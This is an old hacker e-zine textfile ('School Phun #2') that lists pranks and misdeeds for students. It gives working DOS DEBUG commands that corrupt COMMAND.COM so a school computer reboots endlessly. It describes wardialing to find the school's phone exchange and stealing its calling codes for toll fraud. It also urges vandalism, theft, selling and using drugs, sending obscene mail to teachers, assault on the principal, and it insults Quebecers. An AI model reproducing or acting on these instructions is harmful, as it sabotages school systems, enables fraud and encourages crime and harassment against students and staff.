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[ Mind Warp - Volume #2, Issue #7, File #034 ]
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[ "School Phun #2" by Raven ]
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School Phun: Part 2
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[Raven/MG]
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Yes, once again, I've assembled a list of some 'phun' activities to
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help make school life almost bearable. I'll skip the witty opening para-
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graphs and go straight to the list. :)
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1. Get a can of WD-40 or some kind of other silicon based spray lubricant,
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and go to school early. Spray it out onto a rag, and start wiping down
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the seats and desk/table tops with it. After it kind of dries a little,
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people will sit down on they're chairs, and will be sliding all over the
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place.. If you applied it properly, it shouldn't be greasy, just slick.
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Now, some of the lubricant will stay on those people's butts, and they
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will 'infect' the rest of the chairs little by little as they continue
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to go to different classes throughout the rest of the day. This is quite
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a class disrupter.
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2. In the morning when they make you stand for the pledge (you don't have to
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but they still stare at you funny if you don't) bring a little Canadian
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flag and pledge your alligience to it, instead. Here is the pledge I
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came up with, think up your own if ya want: "I pledge alliegance to the
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flag of the United Provinces of Canada, and to the government for which
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it stands. One very cold nation, without much smog, for draft dodgers
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and the Kids in the Hall." That'll piss 'em off. BTW - I love Canadians
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and wish I was one, except for you Quebecians.. I hate all ya'll from
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Quebec, ya stupid, wannabe-french mofo's..
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3. Get a big rock, and break a window or two.
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4. If your school has a computer lab, and the computers are dos based IBM
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clones, then get onto the machine, and do the following (what you're
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supposed to type will be in quotes) :
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C:\>"ATTRIB -A -H -R -S COMMAND.COM"
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C:\>"DEBUG COMMAND.COM"
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-"E100 EA 00 00 FF FF"
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-"W"
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-"Q"
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This will first enable command.com to be re-written. Then, you'll have
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written the first 5 bytes of command.com to be EA0000FFFFhex, which is
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the instruction to jump to memory location FFFF:0000, thus rebooting the
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machine. In other words, every time the computer is turned on, it'll sit
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there in an infinate loop of rebooting itself. This is easily curable by
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inserting a dos diskette, and copying command.com over it, but this is
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the ONLY way to fix the problem. Thanx to Star Gazer for the idea.
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5. Go out and either spend ten bucks, or hell, just steal one of those
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'universal remotes' that can be used for your vcr and tv of most major
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brand names, or else get one of those nifty $60+ casio wrist remote
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watches. Now, take your remote to school, and if you find that you're
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stuck watching some boring movie on 'apes in nature' then you can make
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it a bit more interesting.
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6. Have your girlfriend(sister, mom, whatever) give you some of those little
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perfum samples that come in the little glass vials, that women always
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seem to have several of. Take them and (works best on a male teacher)
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pour the lil suckers all over his chair/desk and his papers.. if you've
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got enough, try pouring one in every drawer of his desk. It's best on
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guys, because he'll be so disgusted, by the end of the day, he'll most
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likely have passed out :) and with women teachers, you often have to
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deal with the nasty old women who smell bad as it is, and actually like
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the smell.
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7. When the time comes around for the voting of class officers, start
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putting up some campaign posters.. some blatantly fake campaign posters:
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ie. Ben Dover for Class Prez. etc.. etc..
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8. Get a bunch of nicely sharpened pencils, and spear them into the tiled
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ceiling of your school. This is great fun when you're utterly bored in
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some chemistry class or something.
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9. In reference to number seven, run for class office. Any position you can
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get. Then, of course, do nothing. Who wants to do extra work? Or, you
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could have fun with it, and screw your school. Use your imagination.
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10. Look up your schools number, and scan around it (100 numbers each way)
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and you should be able to find your school's pbx. Run code thief, (or
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get some k-rad kiddie to do it for you) get some codes for it, and call
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Australia from it. Or maybe some of those 900 sex party lines. Hmm,
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or get the new Future Crew demo by calling Scandinavia. :)
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11. Earn some fast cash while at school, and sell drugs.
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12. Go into your pop's porno mag collection, and find the address to 'get a
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free inflatable doll' or other such obscene sexual objects, and have them
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sent to your principal or a teacher of your choice, at the school.
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Ususally only costs a couple of bucks for postage.
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13. Have more fun while at school, and DO drugs.
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14. Surf the net, or read alt.drugs, and find yourself a '1001 ways to build
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a better bong' textfile, print it up, and distribute it to your
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classmates and teachers.
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15. Force the principal into one of the restrooms. They'll be sick for weeks.
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I know, I know.. it's a pretty weak list, but I'm trying to finish all of my
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incomplete textfiles so I can release this long overdue volume tonight.. :)
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